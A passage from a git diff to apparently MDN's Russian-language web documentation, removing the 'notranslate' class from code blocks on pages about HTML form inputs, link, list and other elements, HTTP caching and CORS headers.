1. You can change this by providing a {{htmlattrxref("step", "input")}} attribute, which takes as its value a number specifying the step amount. Our above example contains a placeholder saying that the value should be a multiple of 10, so it makes sense to add a <code>step</code> value of 10:</p> -<pre class="brush: html notranslate"><input type="number" placeholder="multiple of 10" step="10"></pre> +<pre class="brush: html"><input type="number" placeholder="multiple of 10" step="10"></pre> <p>{{EmbedLiveSample('Controlling_step_size', 600, 40)}}</p> @@ -166,7 +166,7 @@ translation_of: Web/HTML/Element/input/number <p>You can use the {{htmlattrxref("min", "input")}} and {{htmlattrxref("max", "input")}} attributes to specify a minimum and maximum value that the field can have. For example, let's give our example a minimum of 0, and a maximum of 100:</p> -<pre class="brush: html notranslate"><input type="number" placeholder="multiple of 10" step="10" min="0" max="100"></pre> +<pre class="brush: html"><input type="number" placeholder="multiple of 10" step="10" min="0" max="100"></pre> <p>{{EmbedLiveSample('Specifying_minimum_and_maximum_values', 600, 40)}}</p> @@ -176,7 +176,7 @@ translation_of: Web/HTML/Element/input/number <p>One issue with number inputs is that their step size is 1 by default — if you try to enter a number with a decimal, such as "1.0", it will be considered invalid. If you want to enter a value that requires decimals, you'll need to reflect this in the <code>step</code> value (e.g. <code>step="0.01"</code> to allow decimals to two decimal places). Here's a simple example:</p> -<pre class="brush: html notranslate"><input type="number" placeholder="1.0" step="0.01" min="0" max="10"></pre> +<pre class="brush: html"><input type="number" placeholder="1.0" step="0.01" min="0" max="10"></pre> <p>{{EmbedLiveSample("Allowing_decimal_values", 600, 40)}}</p> @@ -188,11 +188,11 @@ translation_of: Web/HTML/Element/input/number <p>For example, to adjust the width of the input to be only as wide as is needed to enter a three-digit number, we can change our HTML to include an ID and to shorten our placeholder since the field will be too narrow for the text we have been using so far:</p> -<pre class="brush: html notranslate"><input type="number" placeholder="x10" step="10" min="0" max="100" id="number"></pre> +<pre class="brush: html"><input type="number" placeholder="x10" step="10" min="0" max="100" id="number"></pre> <p>Then we add some CSS to narrow the width of the element with the ID <code>number</code>:</p> -<pre class="brush: css notranslate">#number { +<pre class="brush: css">#number { width: 3em; }</pre> @@ -204,7 +204,7 @@ translation_of: Web/HTML/Element/input/number <p>You can provide a list of default options from which the user can select by specifying the {{htmlattrxref("list", "input")}} attribute, which contains as its value the ID of a {{HTMLElement("datalist")}}, which in turn contains one {{HTMLElement("option")}} element per suggested value; each <code>option</code>'s <code>value</code> is the corresponding suggested value for the number entry box.</p> -<pre class="brush: html notranslate"><input id="ticketNum" type="number" name="ticketNum" list="defaultNumbers"> +<pre class="brush: html"><input id="ticketNum" type="number" name="ticketNum" list="defaultNumbers"> <span class="validity"></span> <datalist id="defaultNumbers"> @@ -234,7 +234,7 @@ translation_of: Web/HTML/Element/input/number <p>The following example exhibits all of the above features, as well as using some CSS to display valid and invalid icons when the input value is valid/invalid:</p> -<pre class="brush: html notranslate"><form> +<pre class="brush: html"><form> <div> <label for="balloons">Number of balloons to order (multiples of 10):</label> <input id="balloons" type="number" name="balloons" step="10" min="0" max="100" required> @@ -251,7 +251,7 @@ translation_of: Web/HTML/Element/input/number <p>The CSS applied to this example is as follows:</p> -<pre class="brush: css notranslate">div { +<pre class="brush: css">div { margin-bottom: 10px; } @@ -283,7 +283,7 @@ input:valid+span:after { <p>The HTML looks like this:</p> -<pre class="brush: html notranslate"><form> +<pre class="brush: html"><form> <div class="metersInputGroup"> <label for="meters">Enter your height — meters:</label> <input id="meters" type="number" name="meters" step="0.01" min="0" placeholder="e.g. 1.78" required> @@ -311,7 +311,7 @@ input:valid+span:after { <p>Now on to the CSS — this looks very similar to the validation styling we saw before; nothing remarkable here:</p> -<pre class="brush: css notranslate">div { +<pre class="brush: css">div { margin-bottom: 10px; position: relative; } @@ -338,7 +338,7 @@ input:valid+span:after { <p>And finally, the JavaScript:</p> -<pre class="brush: js notranslate">var metersInputGroup = document.querySelector('.metersInputGroup'); +<pre class="brush: js">var metersInputGroup = document.querySelector('.metersInputGroup'); var feetInputGroup = document.querySelector('.feetInputGroup'); var metersInput = document.querySelector('#meters'); var feetInput = document.querySelector('#feet'); diff --git a/files/ru/web/html/element/input/radio/index.html b/files/ru/web/html/element/input/radio/index.html index 729ad3a3cc..776b89fca1 100644 --- a/files/ru/web/html/element/input/radio/index.html +++ b/files/ru/web/html/element/input/radio/index.html @@ -19,7 +19,7 @@ translation_of: Web/HTML/Element/input/radio <p><span class="seoSummary">Атрибут<strong> type</strong> тега <code><input></code> со значением <strong><code>radio</code></strong> обычно используется для создания группы радиокнопок (переключателей), описывающих набор взаимосвязанных параметров.</span> Одновременно пользователь может выбрать лишь одну радиокнопку из предложенных. Радиокнопки обычно отображаются как небольшие кружки, которые заполняются или подсвечиваются при наведении.</p> <div id="Basic_example"> -<pre class="brush: html notranslate"><input type="radio" id="radioButton"></pre> +<pre class="brush: html"><input type="radio" id="radioButton"></pre> <p>{{ EmbedLiveSample('Basic_example', 600, 30) }}</p> @@ -73,7 +73,7 @@ translation_of: Web/HTML/Element/input/radio <p>HTML будет выглядеть следующим образом:</p> -<pre class="brush: html notranslate"><form> +<pre class="brush: html"><form> <p>Please select your preferred contact method:</p> <div> <input type="radio" id="contactChoice1" @@ -113,7 +113,7 @@ translation_of: Web/HTML/Element/input/radio <p>Давайте добавим немного кода в наш пример для того, чтобы изучить данные, полученные из этой формы. HTML изменяется путём добавления блока {{HTMLElement("pre")}} для вывода данных формы. </p> -<pre class="brush: html notranslate"><form> +<pre class="brush: html"><form> <p>Please select your preferred contact method:</p> <div> <input type="radio" id="contactChoice1" @@ -136,7 +136,7 @@ translation_of: Web/HTML/Element/input/radio <p>Затем добавим немного <a href="/en-US/docs/Web/JavaScript">JavaScript</a>. Установим обработчик события {{event("submit")}}, которая будет отправляться при клике пользователя на кнопку "Отправить":</p> -<pre class="brush: js notranslate">var form = document.querySelector("form"); +<pre class="brush: js">var form = document.querySelector("form"); var log = document.querySelector("#log"); form.addEventListener("submit", function(event) { @@ -161,7 +161,7 @@ form.addEventListener("submit", function(event) { <p>Чтобы установить радиокнопку как выбранную по умолчанию, вам необходимо подключить атрибут <code>checked</code>, как показано ниже в немного изменённой версии предыдущего примера.</p> -<pre class="brush: html notranslate"><form> +<pre class="brush: html"><form> <p>Please select your preferred contact method:</p> <div> <input type="radio" id="contactChoice1" @@ -203,7 +203,7 @@ form.addEventListener("submit", function(event) { <p>HTML будет выглядеть следующим образом:</p> -<pre class="brush: html notranslate"><form> +<pre class="brush: html"><form> <fieldset> <legend>Please select your preferred contact method:</legend> <div> @@ -229,7 +229,7 @@ form.addEventListener("submit", function(event) { <p>CSS будет выглядеть так:</p> -<pre class="brush: css notranslate">html { +<pre class="brush: css">html { font-family: sans-serif; } diff --git a/files/ru/web/html/element/input/range/index.html b/files/ru/web/html/element/input/range/index.html index a3fcca88d8..231f03d7b4 100644 --- a/files/ru/web/html/element/input/range/index.html +++ b/files/ru/web/html/element/input/range/index.html @@ -56,7 +56,7 @@ translation_of: Web/HTML/Element/input/range <p>Атрибут {{htmlattrxref("value", "input")}} содержит {{domxref("DOMString")}}, который содержит строковое представление выбранного числа. Значение никогда не является пустой строкой (<code>""</code>). Значение, по умолчанию, находится посередине, между указанными минимальным и максимальным значениями — если максимум оказывается меньше минимума, то значение по умолчанию приравнивается к значению атрибута <code>min</code>. Алгоритм определения значения по умолчанию:</p> -<pre class="brush: js notranslate">defaultValue = (rangeElem.max < rangeElem.min) ? rangeElem.min +<pre class="brush: js">defaultValue = (rangeElem.max < rangeElem.min) ? rangeElem.min : rangeElem.min + (rangeElem.max - rangeElem.min)/2;</pre> <p>Если предпринята попытка установить значение меньше минимального, то оно примет значение атрибута min. Аналогично, попытка установить значение больше максимального, приведёт к установлению значения равного атрибуту max.</p> @@ -159,7 +159,7 @@ translation_of: Web/HTML/Element/input/range <p>Например, указать диапазон значений между -10 и 10, вы можете, используя:</p> -<pre class="brush: html notranslate"><input type="range" min="-10" max="10"></pre> +<pre class="brush: html"><input type="range" min="-10" max="10"></pre> <p>{{EmbedLiveSample("Указание_минимума_и_максимума", 600, 40)}}</p> @@ -168,7 +168,7 @@ translation_of: Web/HTML/Element/input/range <p>По умолчанию, степень детализации равна 1, тем самым показывая, что значение всегда является целым числом. Вы можете изменить атрибут {{htmlattrxref("step")}} контроля степени детализации. Например, если вам нужно значение между 5 и 10, с точностью до двух знаков после запятой, вы должны установить значение <code>step</code> на 0.01:</p> <div id="Granularity_sample1"> -<pre class="brush: html notranslate"><input type="range" min="5" max="10" step="0.01"></pre> +<pre class="brush: html"><input type="range" min="5" max="10" step="0.01"></pre> <p>{{EmbedLiveSample("Granularity_sample1", 600, 40)}}</p> </div> @@ -176,7 +176,7 @@ translation_of: Web/HTML/Element/input/range <p>Если вы хотите принять любое значение, независимо от разрядности, вы можете указать значение <code>any</code> для атрибута {{htmlattrxref("step", "input")}}:</p> <div id="Granularity_sample2"> -<pre class="brush: html notranslate"><input type="range" min="0" max="3.14" step="any"></pre> +<pre class="brush: html"><input type="range" min="0" max="3.14" step="any"></pre> <p>{{EmbedLiveSample("Granularity_sample2", 600, 40)}}</p> @@ -203,7 +203,7 @@ translation_of: Web/HTML/Element/input/range </tr> <tr> <td> - <pre class="brush: html notranslate"> + <pre class="brush: html"> <input type="range"></pre> </td> <td><img alt="Screenshot of a plain slider control on macOS" src="https://mdn.mozillademos.org/files/14989/macslider-plain.png" style="height: 28px; width: 184px;"></td> @@ -223,7 +223,7 @@ translation_of: Web/HTML/Element/input/range </tr> <tr> <td> - <pre class="brush: html notranslate"> + <pre class="brush: html"> <input type="range" list="tickmarks"> <datalist id="tickmarks"> @@ -258,7 +258,7 @@ translation_of: Web/HTML/Element/input/range </tr> <tr> <td> - <pre class="brush: html notranslate"> + <pre class="brush: html"> <input type="range" list="tickmarks"> <datalist id="tickmarks"> @@ -333,7 +333,7 @@ translation_of: Web/HTML/Element/input/range <p>В HTML нужно добавить обёртку вокруг {{HTMLElement("input")}} - {{HTMLElement("div")}}, что позволит нам исправить макет после выполнения трансформации (т.к. трансформация автоматически не влияет на макет страницы):</p> -<pre class="brush: html notranslate"><div class="slider-wrapper"> +<pre class="brush: html"><div class="slider-wrapper"> <input type="range" min="0" max="11" value="7" step="1"> </div></pre> @@ -341,7 +341,7 @@ translation_of: Web/HTML/Element/input/range <p>Теперь нам нужно немного CSS. Во-первых, это CSS для самой обёртки; это указание дисплея и размеров для правильного расположения на странице; по сути, он резервирует область страницы для слайдера, так, чтобы можно было поместить повёрнутый слайдер в зарезервированном пространстве, не создавая беспорядка.</p> -<pre class="brush: css notranslate">.slider-wrapper { +<pre class="brush: css">.slider-wrapper { display: inline-block; width: 20px; height: 150px; @@ -351,7 +351,7 @@ translation_of: Web/HTML/Element/input/range <p>Затем информация о стиле элемента <code><input></code> в зарезервированном пространстве:</p> -<pre class="brush: css notranslate">.slider-wrapper input { +<pre class="brush: css">.slider-wrapper input { width: 150px; height: 20px; margin: 0; @@ -378,7 +378,7 @@ translation_of: Web/HTML/Element/input/range <p>Берём только те инпуты что имеют тип range:</p> -<pre class="notranslate">input[type="range"] { +<pre>input[type="range"] { -webkit-appearance: slider-vertical; }</pre> @@ -405,14 +405,14 @@ translation_of: Web/HTML/Element/input/range <p>Используем тот же HTML что и в предыдущем примере:</p> -<pre class="brush:html notranslate"><input type="range" min="0" max="11" value="7" step="1"> +<pre class="brush:html"><input type="range" min="0" max="11" value="7" step="1"> </pre> <h4 id="CSS_4">CSS</h4> <p>Берём только те инпуты что имеют тип range, меняем writing mode с default на <code>bt-lr</code>, или bottom-to-top и left-to-right:</p> -<pre class="brush: css notranslate">input[type="range"] { +<pre class="brush: css">input[type="range"] { writing-mode: bt-lr; }</pre> @@ -433,7 +433,7 @@ translation_of: Web/HTML/Element/input/range <p>Берём только те инпуты что имеют тип range, меняем writing mode с default на <code>bt-lr</code>, или bottom-to-top и left-to-right, для Edge и Internet Explorer, и добавляем <code>-webkit-appearance: slider-vertical</code> для всех -webkit-based браузеров:</p> -<pre class="brush: css notranslate">input[type="range"] { +<pre class="brush: css">input[type="range"] { writing-mode: bt-lr; -webkit-appearance: slider-vertical; }</pre> diff --git a/files/ru/web/html/element/label/index.html b/files/ru/web/html/element/label/index.html index 660264e853..7f795525d0 100644 --- a/files/ru/web/html/element/label/index.html +++ b/files/ru/web/html/element/label/index.html @@ -68,13 +68,13 @@ translation_of: Web/HTML/Element/label <h3 id="Simple_label_example">Simple label example</h3> -<pre class="brush: html notranslate"><label>Click me <input type="text"></label></pre> +<pre class="brush: html"><label>Click me <input type="text"></label></pre> <p>{{EmbedLiveSample('Simple_label_example', '200', '50', '')}}</p> <h3 id="Using_the_for_attribute">Using the "for" attribute</h3> -<pre class="brush: html notranslate"><label for="username">Click me</label> +<pre class="brush: html"><label for="username">Click me</label> <input type="text" id="username"></pre> <p>{{EmbedLiveSample('Using_the_for_attribute', '200', '50', '')}}</p> diff --git a/files/ru/web/html/element/li/index.html b/files/ru/web/html/element/li/index.html index 2619075e38..3606cc319e 100644 --- a/files/ru/web/html/element/li/index.html +++ b/files/ru/web/html/element/li/index.html @@ -81,7 +81,7 @@ translation_of: Web/HTML/Element/li <h3 id="Упорядоченный_список">Упорядоченный список</h3> -<pre class="brush: html notranslate"><ol> +<pre class="brush: html"><ol> <li>Первый элемент</li> <li>Второй элемент</li> <li>Третий элемент</li> @@ -92,7 +92,7 @@ translation_of: Web/HTML/Element/li <h3 id="Упорядоченный_список_с_пользовательским_значением">Упорядоченный список с пользовательским значением</h3> -<pre class="brush: html notranslate"><ol type="I"> +<pre class="brush: html"><ol type="I"> <li value="3">Третий элемент</li> <li>Четвёртый элемент</li> <li>Пятый элемент</li> @@ -103,7 +103,7 @@ translation_of: Web/HTML/Element/li <h3 id="Неупорядоченный_список">Неупорядоченный список</h3> -<pre class="brush: html notranslate"><ul> +<pre class="brush: html"><ul> <li>Первый элемент</li> <li>Второй элемент</li> <li>Третий элемент</li> diff --git a/files/ru/web/html/element/link/index.html b/files/ru/web/html/element/link/index.html index 8d72fa0b3e..de177c77d6 100644 --- a/files/ru/web/html/element/link/index.html +++ b/files/ru/web/html/element/link/index.html @@ -19,29 +19,29 @@ original_slug: Web/HTML/Element/ссылка <p>Чтобы подключить таблицу стилей, вы должны включить элемент <code><link></code> внутри вашего {{HTMLElement("head")}} следующим образом:</p> -<pre class="brush: html no-line-numbers notranslate"><link href="main.css" rel="stylesheet"></pre> +<pre class="brush: html no-line-numbers"><link href="main.css" rel="stylesheet"></pre> <p>В этом простом примере указывается путь к таблице стилей внутри атрибута <code>href</code> и атрибут <code>rel</code> со значением <code>stylesheet</code>. <code>rel</code> означает "отношения (relationship)", и, вероятно, является одной из ключевых особенностей элемента <code><link></code> — значение сообщает как указанный элемент связан с содержащим его документом. Как вы увидите в нашем справочнике <a href="/en-US/docs/Web/HTML/Link_types">типы ссылок</a>, есть много различных видов отношений.</p> <p>Существует ряд других распространённых типов, с которыми вы столкнётесь. Например, ссылка на сайт иконок:</p> -<pre class="brush: html no-line-numbers notranslate"><link rel="icon" href="favicon.ico"></pre> +<pre class="brush: html no-line-numbers"><link rel="icon" href="favicon.ico"></pre> <p>Есть ряд других значений <code>rel</code> для иконок, в основном, используемых для обозначения специальных типов иконок для использования на различных мобильных платформах, например:</p> -<pre class="brush: html no-line-numbers notranslate"><link rel="apple-touch-icon-precomposed" sizes="114x114" +<pre class="brush: html no-line-numbers"><link rel="apple-touch-icon-precomposed" sizes="114x114" href="apple-icon-114.png" type="image/png"></pre> <p>Атрибут <code>sizes</code> определяет размер иконки, когда <code>type</code> содержит тип MIME связанного ресурса. Они предоставляют советы, позволяющие браузеру выбрать наиболее подходящую иконку.</p> <p>Вы можете, также, указать медиа тип или запрос внутри атрибута <code>media</code>; этот ресурс будет загружен только в том случае, если media состояние равно true. Например:</p> -<pre class="brush: html no-line-numbers notranslate"><link href="print.css" rel="stylesheet" media="print"> +<pre class="brush: html no-line-numbers"><link href="print.css" rel="stylesheet" media="print"> <link href="mobile.css" rel="stylesheet" media="screen and (max-width: 600px)"></pre> <p>В элемент <code><link></code> также были добавлены некоторые новые интересные возможности производительности и безопасности, к примеру:</p> -<pre class="brush: html no-line-numbers notranslate"><link rel="preload" href="myFont.woff2" as="font" +<pre class="brush: html no-line-numbers"><link rel="preload" href="myFont.woff2" as="font" type="font/woff2" crossorigin="anonymous"></pre> <p>Значение <code>rel</code> - <code>preload</code> указывает, что браузер должен предварительно загрузить этот ресурс (смотрите <a href="/en-US/docs/Web/HTML/Preloading_content">Предварительная загрузка контента при помощи rel="preload"</a> для более подробной информации), атрибут <code>as</code> указывает на определённый класс загружаемого контента. Атрибут <code>crossorigin</code> указывает должен ли ресурс загружаться с помощью запроса {{Glossary("CORS")}}.</p> @@ -180,7 +180,7 @@ original_slug: Web/HTML/Element/ссылка <p>Включение таблицы стилей на страницы имеет следующий синтаксис:</p> -<pre class="brush: html no-line-numbers notranslate"><link href="style.css" rel="stylesheet"> +<pre class="brush: html no-line-numbers"><link href="style.css" rel="stylesheet"> </pre> <h3 id="Предоставление_альтернативных_таблиц_стилей">Предоставление альтернативных таблиц стилей</h3> @@ -189,7 +189,7 @@ original_slug: Web/HTML/Element/ссылка <p>Пользователь может выбрать, какую таблицу стилей использовать, выбрав её в меню Вид > Стиль страницы. Это позволяет пользователям видеть мультиверсию страницы.</p> -<pre class="brush: html no-line-numbers notranslate"><link href="default.css" rel="stylesheet" title="Default Style"> +<pre class="brush: html no-line-numbers"><link href="default.css" rel="stylesheet" title="Default Style"> <link href="fancy.css" rel="alternate stylesheet" title="Fancy"> <link href="basic.css" rel="alternate stylesheet" title="Basic"> </pre> @@ -198,7 +198,7 @@ original_slug: Web/HTML/Element/ссылка <p>Вы можете включить ссылки на несколько различных иконок на одной странице, и браузер выберет, какая из них лучше подходит для его конкретного контекста, используя значения <code>rel</code> и <code>sizes</code> как подсказки.</p> -<pre class="brush: html no-line-numbers notranslate"><!-- third-generation iPad with high-resolution Retina display: --> +<pre class="brush: html no-line-numbers"><!-- third-generation iPad with high-resolution Retina display: --> <link rel="apple-touch-icon-precomposed" sizes="144x144" href="favicon144.png"> <!-- iPhone with high-resolution Retina display: --> <link rel="apple-touch-icon-precomposed" sizes="114x114" href="favicon114.png"> @@ -213,7 +213,7 @@ original_slug: Web/HTML/Element/ссылка <p>Вы можете предоставить тип медиа или запрос внутри атрибута <code>media</code>; этот ресурс будет загружен только в том случае, если условия медиа равно true. Например:</p> -<pre class="brush: html no-line-numbers notranslate"><link href="print.css" rel="stylesheet" media="print"> +<pre class="brush: html no-line-numbers"><link href="print.css" rel="stylesheet" media="print"> <link href="mobile.css" rel="stylesheet" media="all"> <link href="desktop.css" rel="stylesheet" media="screen and (min-width: 600px)"> <link href="highres.css" rel="stylesheet" media="screen and (min-resolution: 300dpi)"> @@ -223,7 +223,7 @@ original_slug: Web/HTML/Element/ссылка <p>Вы можете определить, когда таблица стилей была загружена, наблюдая за событием <code>load</code>, запускающимся в нем; аналогично, вы можете обнаружить, произошла ли ошибка при обработки таблицы стилей, наблюдая за событием <code>error</code>:</p> -<pre class="brush: html notranslate"><script> +<pre class="brush: html"><script> var myStylesheet = document.querySelector('#my-stylesheet'); myStylesheet.onload = function() { diff --git a/files/ru/web/html/element/marquee/index.html b/files/ru/web/html/element/marquee/index.html index 70e3d70c46..b046def1e1 100644 --- a/files/ru/web/html/element/marquee/index.html +++ b/files/ru/web/html/element/marquee/index.html @@ -61,7 +61,7 @@ translation_of: Web/HTML/Element/marquee <h2 id="Examples">Examples</h2> -<pre class="brush: html notranslate"><marquee>This text will scroll from right to left</marquee> +<pre class="brush: html"><marquee>This text will scroll from right to left</marquee> <marquee direction="up">This text will scroll from bottom to top</marquee> diff --git a/files/ru/web/html/element/nav/index.html b/files/ru/web/html/element/nav/index.html index 2d972a2f3b..436ccf0739 100644 --- a/files/ru/web/html/element/nav/index.html +++ b/files/ru/web/html/element/nav/index.html @@ -63,7 +63,7 @@ translation_of: Web/HTML/Element/nav <p>В данном примере, блок <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);"><code><nav></code> </span></font>содержит ненумерованный список ({{HTMLElement("ul")}}) ссылок. С помощью CSS данный блок можно использовать как сайдбар, навигационную колонку или выпадающее меню.</p> -<pre class="brush: html notranslate"><nav class="menu"> +<pre class="brush: html"><nav class="menu"> <ul> <li><a href="#">Главная</a></li> <li><a href="#">О нас</a></li> diff --git a/files/ru/web/html/element/output/index.html b/files/ru/web/html/element/output/index.html index 1e2ef166cd..f184b9be4d 100644 --- a/files/ru/web/html/element/output/index.html +++ b/files/ru/web/html/element/output/index.html @@ -57,7 +57,7 @@ translation_of: Web/HTML/Element/output <p>Эта форма содержит слайдер, значение которого находится в пределах от 0 до 100, и элемент {{HTMLElement("input")}}, в который можно ввести второе значение. Два числа складываются и результат отображается в элементе <code><output></code> каждый раз, когда значение любого управляющего элемента меняется.</p> -<pre class="brush: html notranslate"><form oninput="result.value=parseInt(a.value)+parseInt(b.value)"> +<pre class="brush: html"><form oninput="result.value=parseInt(a.value)+parseInt(b.value)"> <input type="range" name="b" value="50" /> + <input type="number" name="a" value="10" /> = <output name="result">60</output> diff --git a/files/ru/web/html/element/strong/index.html b/files/ru/web/html/element/strong/index.html index cdef2a32ad..84ab9084af 100644 --- a/files/ru/web/html/element/strong/index.html +++ b/files/ru/web/html/element/strong/index.html @@ -75,7 +75,7 @@ translation_of: Web/HTML/Element/strong <h3 id="Основной_пример">Основной пример</h3> -<pre class="brush: html notranslate"><p>Прежде чем продолжить, <strong>убедитесь, что вы надели защитные очки</strong>.</p></pre> +<pre class="brush: html"><p>Прежде чем продолжить, <strong>убедитесь, что вы надели защитные очки</strong>.</p></pre> <p>Результат:</p> @@ -83,7 +83,7 @@ translation_of: Web/HTML/Element/strong <h3 id="Маркировочные_предупреждения">Маркировочные предупреждения</h3> -<pre class="brush: html notranslate"><p><strong>Важно:</strong> прежде чем продолжить, убедитесь, что вы добавили много масла.</p></pre> +<pre class="brush: html"><p><strong>Важно:</strong> прежде чем продолжить, убедитесь, что вы добавили много масла.</p></pre> <p>Это приведёт к:</p> diff --git a/files/ru/web/html/element/track/index.html b/files/ru/web/html/element/track/index.html index 45fd2b07c6..2ec30cbd30 100644 --- a/files/ru/web/html/element/track/index.html +++ b/files/ru/web/html/element/track/index.html @@ -119,7 +119,7 @@ translation_of: Web/HTML/Element/track <h2 id="Пример">Пример</h2> -<pre class="brush: html notranslate"><video controls poster="/images/sample.gif"> +<pre class="brush: html"><video controls poster="/images/sample.gif"> <source src="sample.mp4" type="video/mp4"> <source src="sample.ogv" type="video/ogv"> <track kind="captions" src="sampleCaptions.vtt" srclang="en"> diff --git a/files/ru/web/html/element/wbr/index.html b/files/ru/web/html/element/wbr/index.html index 850271cf68..53b571395d 100644 --- a/files/ru/web/html/element/wbr/index.html +++ b/files/ru/web/html/element/wbr/index.html @@ -56,7 +56,7 @@ translation_of: Web/HTML/Element/wbr <p><a href="https://web.archive.org/web/20121105171040/http://styleguide.yahoo.com/">Руководство по стилю Yahoo</a> рекомендует <a href="https://web.archive.org/web/20121105171040/http://styleguide.yahoo.com/editing/treat-abbreviations-capitalization-and-titles-consistently/website-names-and-addresses">разбивать URL перед пунктуацией</a>, чтобы не оставлять знаки препинания в конце строки, которые читатель может ошибочно принять за конец URL.<strong> </strong></p> -<pre class="brush: html notranslate"><strong><p>http://this<wbr>.is<wbr>.a<wbr>.really<wbr>.long<wbr>.example<wbr>.com/With<wbr>/deeper<wbr>/level<wbr>/pages<wbr>/deeper<wbr>/level<wbr>/pages<wbr>/deeper<wbr>/level<wbr>/pages<wbr>/deeper<wbr>/level<wbr>/pages<wbr>/deeper<wbr>/level<wbr>/pages</p> </strong></pre> +<pre class="brush: html"><strong><p>http://this<wbr>.is<wbr>.a<wbr>.really<wbr>.long<wbr>.example<wbr>.com/With<wbr>/deeper<wbr>/level<wbr>/pages<wbr>/deeper<wbr>/level<wbr>/pages<wbr>/deeper<wbr>/level<wbr>/pages<wbr>/deeper<wbr>/level<wbr>/pages<wbr>/deeper<wbr>/level<wbr>/pages</p> </strong></pre> <p><strong>{{EmbedLiveSample("Пример")}}</strong></p> diff --git a/files/ru/web/http/caching/index.html b/files/ru/web/http/caching/index.html index 3cad10d56f..9fd355dfed 100644 --- a/files/ru/web/http/caching/index.html +++ b/files/ru/web/http/caching/index.html @@ -61,7 +61,7 @@ original_slug: Web/HTTP/Кеширование <p>В кеше не должно сохраняться ничего — ни по запросам клиента, ни по ответам сервера. Запрос всегда отправляется на сервер, ответ всегда загружается полностью.</p> -<pre class="notranslate">Cache-Control: no-store +<pre>Cache-Control: no-store Cache-Control: no-cache, no-store, must-revalidate </pre> @@ -69,13 +69,13 @@ Cache-Control: no-cache, no-store, must-revalidate <p>Перед тем, как выдать копию, кеш запрашивает исходный сервер на предмет актуальности ресурса.</p> -<pre class="notranslate">Cache-Control: no-cache</pre> +<pre>Cache-Control: no-cache</pre> <h4 id="Приватные_private_и_общие_public_кеши">Приватные (private) и общие (public) кеши</h4> <p>Директива "public" указывает, что ответ можно сохранять в любом кеше. Это бывает полезно, если возникает потребность сохранить страницы с HTTP-аутентификацией, или такими кодами ответа, которые обычно не кешируются. Директива же "private" указывает, что ответ предназначен отдельному пользователю и не должен храниться в кеше совместного использования. В этом случае ответ может сохраняться приватным кешем браузера.</p> -<pre class="notranslate">Cache-Control: private +<pre>Cache-Control: private Cache-Control: public </pre> @@ -85,13 +85,13 @@ Cache-Control: public <p>Подробнее об этом рассказывается в разделе <a href="#Freshness">Свежесть ресурса</a>.</p> -<pre class="notranslate">Cache-Control: max-age=31536000</pre> +<pre>Cache-Control: max-age=31536000</pre> <h4 id="Проверка_актуальности">Проверка актуальности</h4> <p>При использовании директивы "must-revalidate" кеш обязан проверять статус ресурсов с истёкшим сроком действия. Те копии, что утратили актуальность, использоваться не должны. Подробнее об этом рассказано ниже, в разделе <a href="#Cache_validation">Валидация кеша</a>.</p> -<pre class="notranslate">Cache-Control: must-revalidate</pre> +<pre>Cache-Control: must-revalidate</pre> <h3 id="Заголовок_Pragma">Заголовок <code>Pragma </code></h3> @@ -108,7 +108,7 @@ Cache-Control: public <p>Срок действия (freshnessLifetime) вычисляется на основании нескольких заголовков. Если задан заголовок "Cache-control: max-age=N", то срок действия равен N. Если его нет, а это бывает очень часто, проверяется заголовок {{HTTPHeader("Expires")}}, и, если он есть, то срок действия берётся равным значению заголовка Expires минус значение заголовка Date. Наконец, если нет ни того ни другого, смотрят заголовок Last-Modified. Если он есть, то срок действия равен значению заголовка Date минус значение заголовка Last-modified разделить на 10.<br> Время устаревания (expirationTime) вычисляется следующим образом:</p> -<pre class="notranslate">expirationTime = responseTime + freshnessLifetime - currentAge +<pre>expirationTime = responseTime + freshnessLifetime - currentAge </pre> <p>где responseTime — это время получения ответа по часам браузера, а currentAge — текущий возраст кеша.</p> @@ -149,7 +149,7 @@ Cache-Control: public <p>Это может быть полезно, например, при динамическом предоставлении контента. При использовании заголовка <code>Vary: User-Agent</code> кеширующие сервера, принимая решение об использовании страницы из кеша, должны учитывать агент пользователя. Так можно избежать ситуации, когда пользователи мобильных устройств по ошибке получат десктопную версию вашего сайта. Вдобавок, это может помочь Google и другим поисковым системам обнаружить мобильную версию страницы, и может также указать им на то, что здесь нет никакой подмены контента с целью поисковой оптимизации (<a href="https://en.wikipedia.org/wiki/Cloaking">Cloaking</a>).</p> -<pre class="notranslate">Vary: User-Agent</pre> +<pre>Vary: User-Agent</pre> <p>Поскольку значение заголовка {{HTTPHeader("User-Agent")}} различается ("varies") у мобильных и десктопных клиентов, закешированный мобильный контент не будет по ошибке отсылаться пользователям десктопов и наоборот.</p> diff --git a/files/ru/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.html b/files/ru/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.html index 1a69c7a3d0..7aba8d390f 100644 --- a/files/ru/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.html +++ b/files/ru/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.html @@ -19,7 +19,7 @@ translation_of: Web/HTTP/CORS/Errors/CORSAllowOriginNotMatchingOrigin <h2 id="Reason">Reason</h2> -<pre class="syntaxbox notranslate">Причина: CORS заголовок 'Access-Control-Allow-Origin' не соответствует 'xyz'</pre> +<pre class="syntaxbox">Причина: CORS заголовок 'Access-Control-Allow-Origin' не соответствует 'xyz'</pre> <h2 id="Что_пошло_не_так">Что пошло не так?</h2> @@ -31,11 +31,11 @@ translation_of: Web/HTTP/CORS/Errors/CORSAllowOriginNotMatchingOrigin <p>К примеру, в Apache, вы можете добавить следующую строку в конфигурацию веб-сервера (в пределах одной из секций - <code><Directory></code>, <code><Location></code>, <code><Files></code> или <code><VirtualHost></code>). Обычно конфигурация находиться в файле <code>.conf</code> (наиболее частые имена для него - <code>httpd.conf</code> и <code>apache.conf</code>) или в файле <code>.htaccess</code>.</p> -<pre class="notranslate">Header set Access-Control-Allow-Origin '<em>origin-list</em>'</pre> +<pre>Header set Access-Control-Allow-Origin '<em>origin-list</em>'</pre> <p>В Nginx, для установки такого заголовка можно воспользоваться следующей командой: </p> -<pre class="notranslate">add_header 'Access-Control-Allow-Origin' '<em>origin-list</em>'</pre> +<pre>add_header 'Access-Control-Allow-Origin' '<em>origin-list</em>'</pre> <h2 id="See_also">See also</h2> diff --git a/files/ru/web/http/cors/index.html b/files/ru/web/http/cors/index.html index a4d1f6204f..b3392bc0e3 100644 --- a/files/ru/web/http/cors/index.html +++ b/files/ru/web/http/cors/index.html @@ -87,7 +87,7 @@ translation_of: Web/HTTP/CORS <p>Например, представьте, что содержимое домена <code 